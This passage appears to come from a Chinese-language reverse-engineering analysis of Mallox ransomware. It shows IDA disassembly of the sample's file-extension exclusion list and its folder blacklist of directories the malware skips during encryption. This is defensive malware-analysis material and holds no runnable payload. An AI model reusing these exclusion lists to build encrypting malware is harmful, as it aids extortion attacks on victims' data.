.rdata:000000014005F558&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMallox&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".mallox"
.rdata:000000014005F560&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSys&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".sys"
.rdata:000000014005F568&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aNomedia&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".nomedia"
.rdata:000000014005F570&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aDll&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".dll"
.rdata:000000014005F578&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aHta&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".hta"
.rdata:000000014005F580&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCur&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".cur"
.rdata:000000014005F588&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aLock&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".lock"
.rdata:000000014005F590&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCpl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".cpl"
.rdata:000000014005F598&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGlobeimposterA&nbsp;;&nbsp;".Globeimposter-Alpha865qqz"
.rdata:000000014005F5A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aIcs&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".ics"
.rdata:000000014005F5A8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aHlp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".hlp"
.rdata:000000014005F5B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCom&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".com"
.rdata:000000014005F5B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSpl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".spl"
.rdata:000000014005F5C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".msi"
.rdata:000000014005F5C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aKey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".key"
.rdata:000000014005F5D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMpa&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".mpa"
.rdata:000000014005F5D8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRom&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".rom"
.rdata:000000014005F5E0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aDrv&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".drv"
.rdata:000000014005F5E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".bat"
.rdata:000000014005F5F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;a386&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".386"
.rdata:000000014005F5F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAdv&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".adv"
.rdata:000000014005F600&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aDiangcab&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".diangcab"
.rdata:000000014005F608&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMod&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".mod"
.rdata:000000014005F610&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aScr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".scr"
.rdata:000000014005F618&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTheme&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".theme"
.rdata:000000014005F620&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOcx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".ocx"
.rdata:000000014005F628&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aPrf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".prf"
.rdata:000000014005F630&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCab&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".cab"
.rdata:000000014005F638&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aDiagcfg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".diagcfg"
.rdata:000000014005F640&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsu&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".msu"
.rdata:000000014005F648&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCmd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".cmd"
.rdata:000000014005F650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aIco&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".ico"
.rdata:000000014005F658&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".msc"
.rdata:000000014005F660&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAni&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".ani"
.rdata:000000014005F668&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aIcns&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".icns"
.rdata:000000014005F670&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aDiagpkg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".diagpkg"
.rdata:000000014005F678&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aDeskthemepack&nbsp;;&nbsp;".deskthemepack"
.rdata:000000014005F680&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWpx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".wpx"
.rdata:000000014005F688&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".msp"
.rdata:000000014005F690&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".bin"
.rdata:000000014005F698&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aThemepack&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".themepack"
.rdata:000000014005F6A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aShs&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".shs"
.rdata:000000014005F6A8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aNls&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".nls"
.rdata:000000014005F6B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aExe&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".exe"
.rdata:000000014005F6B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aLnk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".lnk"
.rdata:000000014005F6C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aPs1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".ps1"
.rdata:000000014005F6C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRmallox&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;".rmallox"

5.9 文件夹黑名单

下列文件夹以及其子文件夹将不会加密

.rdata:000000014005E7B0&nbsp;off_14005E7B0&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsocache&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;DATA&nbsp;XREF:&nbsp;flor+198↑r
.rdata:000000014005E7B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"msocache"
.rdata:000000014005E7B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowsWs&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"$windows.~ws"
.rdata:000000014005E7C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSystemVolumeIn&nbsp;;&nbsp;"system&nbsp;volume&nbsp;information"
.rdata:000000014005E7C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aIntel&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"intel"
.rdata:000000014005E7D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAppdata&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"appdata"
.rdata:000000014005E7D8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aPerflogs&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"perflogs"
.rdata:000000014005E7E0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aProgramdata&nbsp;&nbsp;;&nbsp;"programdata"
.rdata:000000014005E7E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGoogle&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"google"
.rdata:000000014005E7F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aApplicationDat&nbsp;;&nbsp;"application&nbsp;data"
.rdata:000000014005E7F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTorBrowser&nbsp;&nbsp;&nbsp;;&nbsp;"tor&nbsp;browser"
.rdata:000000014005E800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBoot&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"boot"
.rdata:000000014005E808&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowsBt&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"$windows.~bt"
.rdata:000000014005E810&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMozilla&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"mozilla"
.rdata:000000014005E818&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBoot&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"boot"
.rdata:000000014005E820&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowsOld&nbsp;&nbsp;&nbsp;;&nbsp;"windows.old"
.rdata:000000014005E828&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowsMicroso&nbsp;;&nbsp;"Windows&nbsp;Microsoft.NET"
.rdata:000000014005E830&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowspowersh&nbsp;;&nbsp;"WindowsPowerShell"
.rdata:000000014005E838&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowsNt&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"Windows&nbsp;NT"
.rdata:000000014005E840&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindows&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"Windows"
.rdata:000000014005E848&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCommonFiles&nbsp;&nbsp;;&nbsp;"Common&nbsp;Files"
.rdata:000000014005E850&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMicrosoftSecur&nbsp;;&nbsp;"Microsoft&nbsp;Security&nbsp;Client"
.rdata:000000014005E858&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aInternetExplor&nbsp;;&nbsp;"Internet&nbsp;Explorer"
.rdata:000000014005E860&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aReference&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"Reference"
.rdata:000000014005E868&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAssemblies&nbsp;&nbsp;&nbsp;;&nbsp;"Assemblies"
.rdata:000000014005E870&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWindowsDefende&nbsp;;&nbsp;"Windows&nbsp;Defender"
.rdata:000000014005E878&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMicrosoftAspNe&nbsp;;&nbsp;"Microsoft&nbsp;ASP.NET"
.rdata:000000014005E880&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCoreRuntime&nbsp;&nbsp;;&nbsp;"Core&nbsp;Runtime"
.rdata:000000014005E888&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aPackage&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"Package"
.rdata:000000014005E890&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aStore&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"Store"
.rdata:000000014005E898&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMicrosoftHelpV&nbsp;;&nbsp;"Microsoft&nbsp;Help&nbsp;Viewer"
